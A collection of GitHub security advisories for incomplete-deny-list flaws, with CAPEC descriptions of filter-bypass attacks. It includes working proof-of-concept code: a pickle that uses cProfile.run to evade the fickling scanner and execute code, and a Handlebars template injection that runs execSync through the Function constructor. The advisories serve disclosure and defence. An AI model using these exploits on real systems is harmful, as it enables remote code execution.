An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.
Why cProfile.run() is dangerous:
Unlike runpy.run_path() which requires a file on disk, cProfile.run() takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that cProfile.run() takes "a single argument that can be passed to the exec() function".
cProfile is the C-accelerated version and is more commonly available than profile. It's also the recommended profiler per Python docs ("cProfile is recommended for most users"), so it's present in virtually all Python installations.
Severity: HIGH
- The attacker achieves arbitrary code execution
- The security control (fickling) is specifically designed to prevent this
- The bypass requires no special conditions beyond crafting the pickle with cProfile
- Attack is fully self-contained (no external files needed)
- cProfile is more commonly used than profile, increasing attack surface
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.6"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22607"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-09T21:04:22Z",
"nvd_published_at": "2026-01-10T02:15:49Z",
"severity": "HIGH"
},
"details": "# Fickling\u0027s assessment\n\n`cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43).\n\n# Original report\n\n## Description\n\n### Summary\n\nFickling versions up to and including 0.1.6 do not treat Python\u0027s `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.\n\nIf a user relies on Fickling\u0027s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.\n\nThis affects any workflow or product that uses Fickling as a security gate for pickle deserialization.\n\n### Details\n\nThe `cProfile` module is missing from fickling\u0027s block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).\n\nIncriminated source code:\n\n- File: `fickling/analysis.py`\n- Class: `UnsafeImports`\n- Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx`\n\nReference to similar fix:\n\n- PR #187 added `pty` to the blocklist to fix CVE-2025-67748\n- PR #108 documented the blocklist approach\n- The same fix pattern should be applied for `cProfile`\n\nHow the bypass works:\n\n1. Attacker creates a pickle using `cProfile.run()` in `__reduce__`\n2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run)\n3. Fickling\u0027s `UnsafeImports` analysis does not flag `cProfile` as dangerous\n4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity\n5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec`\n\nTested behavior (fickling 0.1.6):\n\n| Function | Fickling Severity | RCE Capable |\n|----------|-------------------|-------------|\n| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |\n| eval | OVERTLY_MALICIOUS | Yes |\n| exec | OVERTLY_MALICIOUS | Yes |\n| cProfile.run | SUSPICIOUS | Yes \u2190 BYPASS |\n| cProfile.runctx | SUSPICIOUS | Yes \u2190 BYPASS |\n\nSuggested fix:\n\nAdd to the unsafe imports blocklist in `fickling/analysis.py`:\n- `cProfile`\n- `cProfile.run`\n- `cProfile.runctx`\n- `_lsprof` (underlying C module)\n\n## PoC\n\nComplete instructions, including specific configuration details, to reproduce the vulnerability.\n\nEnvironment:\n- Python 3.13.2\n- fickling 0.1.6 (latest version, installed via pip)\n\n### Step 1: Create malicious pickle\n\n```python\nimport pickle\nimport cProfile\n\nclass MaliciousPayload:\n def __reduce__(self):\n return (cProfile.run, (\"print(\u0027CPROFILE_RCE_CONFIRMED\u0027)\",))\n\nwith open(\"malicious.pkl\", \"wb\") as f:\n pickle.dump(MaliciousPayload(), f)\n```\n\n### Step 2: Analyze with fickling\n\n```python\nfrom fickling.fickle import Pickled\nfrom fickling.analysis import check_safety\n\nwith open(\u0027malicious.pkl\u0027, \u0027rb\u0027) as f:\n data = f.read()\n\npickled = Pickled.load(data)\nresult = check_safety(pickled)\nprint(f\"Severity: {result.severity}\")\nprint(f\"Analysis: {result}\")\n```\n\nExpected output (if properly detected):\n```\nSeverity: Severity.OVERTLY_MALICIOUS\n```\n\nActual output (bypass confirmed):\n```\nSeverity: Severity.SUSPICIOUS\nAnalysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file\n```\n\n### Step 3: Prove RCE by loading the pickle\n\n```bash\npython -c \"import pickle; pickle.load(open(\u0027malicious.pkl\u0027, \u0027rb\u0027))\"\n```\n\nOutput\n```\nCPROFILE_RCE_CONFIRMED\n 4 function calls in 0.000 seconds\n\n Ordered by: standard name\n\n ncalls tottime percall cumtime percall filename:lineno(function)\n 1 0.000 0.000 0.000 0.000 \u003cstring\u003e:1(\u003cmodule\u003e)\n 1 0.000 0.000 0.000 0.000 {built-in method builtins.exec}\n 1 0.000 0.000 0.000 0.000 {built-in method builtins.print}\n 1 0.000 0.000 0.000 0.000 {method \u0027disable\u0027 of \u0027_lsprof.Profiler\u0027 objects}\n```\n\nCheck: The code executes, proving RCE.\n\n### Pickle disassembly (evidence):\n\n```\n 0: \\x80 PROTO 5\n 2: \\x95 FRAME 58\n 11: \\x8c SHORT_BINUNICODE \u0027cProfile\u0027\n 21: \\x94 MEMOIZE (as 0)\n 22: \\x8c SHORT_BINUNICODE \u0027run\u0027\n 27: \\x94 MEMOIZE (as 1)\n 28: \\x93 STACK_GLOBAL\n 29: \\x94 MEMOIZE (as 2)\n 30: \\x8c SHORT_BINUNICODE \"print(\u0027CPROFILE_RCE_CONFIRMED\u0027)\"\n 63: \\x94 MEMOIZE (as 3)\n 64: \\x85 TUPLE1\n 65: \\x94 MEMOIZE (as 4)\n 66: R REDUCE\n 67: \\x94 MEMOIZE (as 5)\n 68: . STOP\nhighest protocol among opcodes = 4\n```\n\n## Impact\n\nVulnerability Type:\n\nIncomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).\n\nWho is impacted:\n\nAny user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:\n- ML model validation pipelines\n- Model hosting platforms (Hugging Face, MLflow, etc.)\n- Security scanning tools that use fickling\n- CI/CD pipelines that validate pickle artifacts\n\nAttack scenario:\n\nAn attacker uploads a malicious ML model or pickle file to a model repository. The victim\u0027s pipeline uses fickling to scan uploads. Fickling rates the file as \"SUSPICIOUS\" (not \"OVERTLY_MALICIOUS\"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.\n\nWhy cProfile.run() is dangerous:\n\nUnlike `runpy.run_path()` which requires a file on disk, `cProfile.run()` takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that `cProfile.run()` takes \"a single argument that can be passed to the exec() function\".\n\n`cProfile` is the C-accelerated version and is more commonly available than `profile`. It\u0027s also the recommended profiler per Python docs (\"cProfile is recommended for most users\"), so it\u0027s present in virtually all Python installations.\n\nSeverity: HIGH\n\n- The attacker achieves arbitrary code execution\n- The security control (fickling) is specifically designed to prevent this\n- The bypass requires no special conditions beyond crafting the pickle with cProfile\n- Attack is fully self-contained (no external files needed)\n- cProfile is more commonly used than profile, increasing attack surface",
"id": "GHSA-p523-jq9w-64x9",
"modified": "2026-01-11T14:54:55Z",
"published": "2026-01-09T21:04:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-p523-jq9w-64x9"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22607"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/108"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/187"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/195"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L116"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling Blocklist Bypass: cProfile.run()"
}
GHSA-P8V4-6CFG-7HH7
Vulnerability from github – Published: 2026-10-06 18:31 – Updated: 2026-10-06 18:31In JetBrains TeamCity before 2026.1.3 2025.11.7 kotlin DSL sandbox escape leading to RCE on the server was possible
{
"affected": [],
"aliases": [
"CVE-2026-106218"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-06T17:17:24Z",
"severity": "HIGH"
},
"details": "In JetBrains TeamCity before 2026.1.3\n2025.11.7 kotlin DSL sandbox escape leading to RCE on the server was possible",
"id": "GHSA-p8v4-6cfg-7hh7",
"modified": "2026-10-06T18:31:34Z",
"published": "2026-10-06T18:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106218"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P8WG-VRV2-V86F
Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-08 17:52Summary
Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
lookupProperty trusts own properties:
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return result;
}
Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;
As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.
Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
- Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
- Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
- Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
// construct code array from template string literal
'{{#with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor
'{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body
'{{#each @root}}{{#if @index}}{{else}}' +
'{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [0] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)
Workarounds
Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.9"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106445"
],
"database_specific": {
"cwe_ids": [
"CWE-1289",
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:52:26Z",
"nvd_published_at": "2026-10-06T20:17:26Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nHandlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`lookupProperty` trusts own properties:\n\n```js\nif (Object.prototype.hasOwnProperty.call(parent, propertyName)) {\n return result;\n}\n```\n\nNormally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects:\n\n```js\nFunction.prototype.constructor === Function;\nString.prototype.constructor === String;\nObject.prototype.constructor === Object;\n```\n\nAs a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list.\n\n## Proof of Concept\n\nAn attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:\n\n1. Access a function\u0027s prototype: {{lookup myFunction \"proto\"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).\n2. Access constructor via own property bypass: {{lookup (lookup myFunction \"\\_\\_proto__\") \"constructor\"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.\n3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars\u0027 template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\n// constructor deny list bypass via hasOwnProperty check in lookupProperty\nconst template = Handlebars.compile(\n // construct code array from template string literal\n \u0027{{#with a}}\u0027 +\n \u0027{{lookup \"\" (push \"return process.mainModule.require(\\\u0027child_process\\\u0027).execSync(\\\u0027id\\\u0027).toString()\")}}\u0027 +\n \u0027{{lookup \"\" (pop)}}\u0027 +\n \u0027{{lookup \"\" (shift)}}\u0027 +\n \u0027{{/with}}\u0027 +\n\n // access Function via own property bypass on Function.prototype.constructor\n \u0027{{lookup \"\" (@root.a.push (lookup (lookup fn \"__proto__\") \"constructor\"))}}\u0027 +\n\n // #each sets depth0=Function without calling it, apply avoids hash body\n \u0027{{#each @root}}{{#if @index}}{{else}}\u0027 +\n \u0027{{#with (this.apply null @root.a)}}{{this}}{{/with}}\u0027 +\n \u0027{{/if}}{{/each}}\u0027\n);\n\nconst result = template(\n { fn: function(){}, a: [0] },\n { allowProtoMethodsByDefault: true }\n);\n\nconsole.log(result.trim());\n\n// output: uid=1000(node) gid=1000(node) groups=1000(node)\n```\n\n## Workarounds\n\nDo not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data.",
"id": "GHSA-p8wg-vrv2-v86f",
"modified": "2026-10-08T17:52:27Z",
"published": "2026-10-08T17:52:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106445"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/ceec388abe1d1aac8f6369860d5f390fa71ef4fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Handlebars: JavaScript Injection via Own Property Check Bypass"
}
GHSA-PFWP-8PQ4-G7PV
Vulnerability from github – Published: 2019-03-06 17:36 – Updated: 2024-03-21 16:02SOFA-Hessian through 4.0.2 allows remote attackers to execute arbitrary commands via a crafted serialized Hessian object because blacklisting of com.caucho.naming.QName and com.sun.org.apache.xpath.internal.objects.XString is mishandled, related to Resin Gadget.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.alipay.sofa:hessian"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.alipay.sofa:hessian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-9212"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:49:03Z",
"nvd_published_at": "2019-02-27T17:29:00Z",
"severity": "CRITICAL"
},
"details": "SOFA-Hessian through 4.0.2 allows remote attackers to execute arbitrary commands via a crafted serialized Hessian object because blacklisting of com.caucho.naming.QName and com.sun.org.apache.xpath.internal.objects.XString is mishandled, related to Resin Gadget.",
"id": "GHSA-pfwp-8pq4-g7pv",
"modified": "2024-03-21T16:02:59Z",
"published": "2019-03-06T17:36:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9212"
},
{
"type": "WEB",
"url": "https://github.com/alipay/sofa-hessian/issues/34"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-pfwp-8pq4-g7pv"
},
{
"type": "PACKAGE",
"url": "https://github.com/alipay/sofa-hessian"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incomplete List of Disallowed Inputs in SOFA-Hessian"
}
GHSA-PPC2-WR9H-8MXG
Vulnerability from github – Published: 2026-09-24 03:30 – Updated: 2026-09-24 21:32In OpenStack Swift before 2.38.2, the tempurl middleware does not reject the X-Copy-From header on PUT requests. A TempURL signature only covers the method, expiry, and path, and thus the list of disallowed headers is the only defense against a signed PUT request changing what the request does. An attacker holding a PUT TempURL for a single object can add an X-Copy-From header naming any object in the same account; the copy middleware copies that object to the destination, and the attacker then reads the victim's data back with a GET TempURL for the destination object. Copies across account boundaries are rejected. Only deployments using the shipped default proxy pipeline (tempurl and copy middleware) with account-level TempURL keys are affected.
{
"affected": [],
"aliases": [
"CVE-2026-97149"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-24T03:16:59Z",
"severity": "MODERATE"
},
"details": "In OpenStack Swift before 2.38.2, the tempurl middleware does not reject the X-Copy-From header on PUT requests. A TempURL signature only covers the method, expiry, and path, and thus the list of disallowed headers is the only defense against a signed PUT request changing what the request does. An attacker holding a PUT TempURL for a single object can add an X-Copy-From header naming any object in the same account; the copy middleware copies that object to the destination, and the attacker then reads the victim\u0027s data back with a GET TempURL for the destination object. Copies across account boundaries are rejected. Only deployments using the shipped default proxy pipeline (tempurl and copy middleware) with account-level TempURL keys are affected.",
"id": "GHSA-ppc2-wr9h-8mxg",
"modified": "2026-09-24T21:32:37Z",
"published": "2026-09-24T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97149"
},
{
"type": "WEB",
"url": "https://launchpad.net/bugs/2166876"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/24/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PR5G-GW8G-VFPM
Vulnerability from github – Published: 2026-08-21 12:30 – Updated: 2026-08-21 12:30The Limit Login Attempts Reloaded WordPress plugin before 3.3.5 does not compare logins against its username denylist case-insensitively and does not account for the account's email address, allowing an account an administrator intended to block from logging in to authenticate anyway.
{
"affected": [],
"aliases": [
"CVE-2026-18356"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-21T12:16:24Z",
"severity": "LOW"
},
"details": "The Limit Login Attempts Reloaded WordPress plugin before 3.3.5 does not compare logins against its username denylist case-insensitively and does not account for the account\u0027s email address, allowing an account an administrator intended to block from logging in to authenticate anyway.",
"id": "GHSA-pr5g-gw8g-vfpm",
"modified": "2026-08-21T12:30:33Z",
"published": "2026-08-21T12:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18356"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/fbcf5a9a-f204-49b8-aa80-748a8a7b5245"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PX99-X547-MJJW
Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2022-05-13 01:30Incomplete blacklist in SOGo before 2.3.12 and 3.x before 3.1.1 allows remote authenticated users to obtain sensitive information by reading the fields in the (1) ics or (2) XML calendar feeds.
{
"affected": [],
"aliases": [
"CVE-2016-6189"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-17T17:59:00Z",
"severity": "MODERATE"
},
"details": "Incomplete blacklist in SOGo before 2.3.12 and 3.x before 3.1.1 allows remote authenticated users to obtain sensitive information by reading the fields in the (1) ics or (2) XML calendar feeds.",
"id": "GHSA-px99-x547-mjjw",
"modified": "2022-05-13T01:30:39Z",
"published": "2022-05-13T01:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6189"
},
{
"type": "WEB",
"url": "https://github.com/inverse-inc/sogo/commit/717f45f640a2866b76a8984139391fae64339225"
},
{
"type": "WEB",
"url": "https://github.com/inverse-inc/sogo/commit/875a4aca3218340fd4d3141950c82c2ff45b343d"
},
{
"type": "WEB",
"url": "https://sogo.nu/bugs/view.php?id=3695"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/07/09/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.